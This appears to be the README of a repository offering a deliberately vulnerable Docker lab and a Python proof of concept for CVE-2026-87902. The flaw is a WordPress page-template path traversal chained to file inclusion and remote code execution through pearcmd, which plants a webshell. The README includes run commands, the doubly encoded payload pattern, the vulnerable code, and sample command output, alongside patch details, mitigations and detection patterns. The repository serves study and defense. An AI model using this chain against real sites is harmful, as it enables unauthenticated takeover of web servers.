
Lab vulnerável (Docker) + PoC Python para a CVE-2026-87902 — path traversal não autenticado no WordPress Core (page-template -> LFI -> RCE condicional). Uso educacional/autorizado.
Lab deliberately vulnerable + Python PoC for CVE-2026-87902: unauthenticated path traversal in the page template resolution of WordPress Core, leading to Local File Inclusion (LFI) and conditional RCE.
| Field | Value |
|---|---|
| Product | WordPress Core |
| Affected versions | 4.7.0 → 7.1.1 |
| Fix | 7.1.2 (backported up to 4.7.37) |
| Type | Path Traversal (CWE-22) → LFI → Conditional RCE |
| Authentication | None (unauthenticated) |
| CVSS 4.0 | 9.2 (Critical) |
| Publication Date | 2026-09-23 |
⚠️ Legal / Ethical Notice. All material here is for study in a local and authorized environment. The lab is an intentionally insecure Docker image — do not expose it to the internet. The
exploit.pydefaults tohttp://localhost:8091on purpose. Running the PoC against any system without explicit written authorization is illegal. You are solely responsible for its use.
EXPLOIT-CVE-2026-87902/
├── README.md # este arquivo
├── docker-compose.yml # sobe o lab em localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # pré-condições ambientais de RCE
│ └── src/ # "WordPress mini" que reproduz o trecho vulnerável
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulneráveis
│ ├── private/
│ │ └── secret-config.php # alvo .php fora do tema (prova de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # diretório "page-*" exigido p/ a travessia
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadeia RCE via pearcmd
└── requirements.txt
Prerequisites: Docker + Docker Compose and Python 3 with requests.
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build
# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py # roda LFI + RCE contra o lab local
# Opções úteis
python3 exploit.py --mode lfi # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube o lab
docker compose down
Expected output (summary):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
In get_page_template() the value of the public query variable pagename is used
to construct the template name. The core validates the raw value with
validate_file() (which blocks literal ..), but then decodes the value
once and uses the result as a template candidate without revalidating
(faithful reproduction in wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
The locator then concatenates theme + "/" + template and includes the first
existing file, without realpath() or verification that the result
remains inside the theme directory.
The attacker sends doubly encoded pagename:
Valor no fio (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sem '..' literal => passa por validate_file()
2ª decodificação (core): templates/../../.../pearcmd <- travessia real
Since the locator prefixes page-, the path becomes
page-templates/../../.../pearcmd.php. This resolves outside the theme.
page- (here,
page-templates/). This is the actual starting point for the traversal: on Linux each
path component must exist for ../ to resolve. Legacy themes (Twenty Twelve/Fourteen) and popular ones (Neve, Hestia, Sydney) meet this.register_argc_argv = On in PHP → $_SERVER['argv'] is populated from
the query string.pearcmd.php on the server (the official php:8.2-apache image already includes it at /usr/local/lib/php/pearcmd.php, in the default include_path).Since the locator appends .php, LFI only reaches .php files. Therefore, the practical RCE route chains with pearcmd.php:
pearcmd.php by passing, via the query string (=argv),
config-create to write a .php webshell to /tmp./tmp/<webshell>.php via a new traversal → the attacker's PHP executes.The patch handles the pagename value consistently: it validates after
any decoding (or rejects input containing encoded traversal sequences) and begins enforcing the directory boundary during template resolution (the final path must remain within the theme). Result: the doubly encoded value no longer survives to the include.
Mitigations: upgrade to ≥ 7.1.2; and, as defense in depth, set
register_argc_argv = Off, remove/restrict pearcmd.php, and deploy a WAF that
detects encoded ../ (%2e%2e%2f, %252e...) in requests.
../
(%2e%2e%2f, %252e%252e%252f) in parameters.pagename), especially combined with query strings containing
config-create / references to pearcmd..php files in /tmp followed by inclusion.